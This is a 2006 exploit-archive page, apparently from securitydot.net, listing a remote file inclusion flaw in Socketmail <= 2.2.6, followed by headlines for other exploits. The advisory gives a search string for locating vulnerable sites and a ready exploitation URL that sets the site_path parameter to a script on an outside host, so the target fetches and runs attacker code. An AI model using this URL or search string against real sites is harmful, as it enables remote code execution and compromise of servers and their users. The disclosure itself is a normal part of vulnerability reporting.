exploits , vulnerabilities , articles , Socketmail <= 2.2.6 (site

2006-05-25

Socketmail <= 2.2.6 (site_path) Remote File Include Vulnerability

Rated as : High Risk

Title: Socketmail <= 2.2.6 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: Creative Digital Resources
URL: http://socketmail.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by SocketMail"
-----------------------------------------------------------------

Exploitation(tested with Lite-Edition and Pro-Edition):

/index.php?site_path=http://www.yourspace.com/yourscript.php?
securitydot.net - 2006-05-25

Exploits - newest 10 RSS | More

2007-06-15 57273 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34205 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42430 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29330 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19770 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16707 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19406 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16594 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33608 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17232 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit

exploits , vulnerabilities , articles , Socketmail <= 2.2.6 (site_path) Remote File Include Vulnerability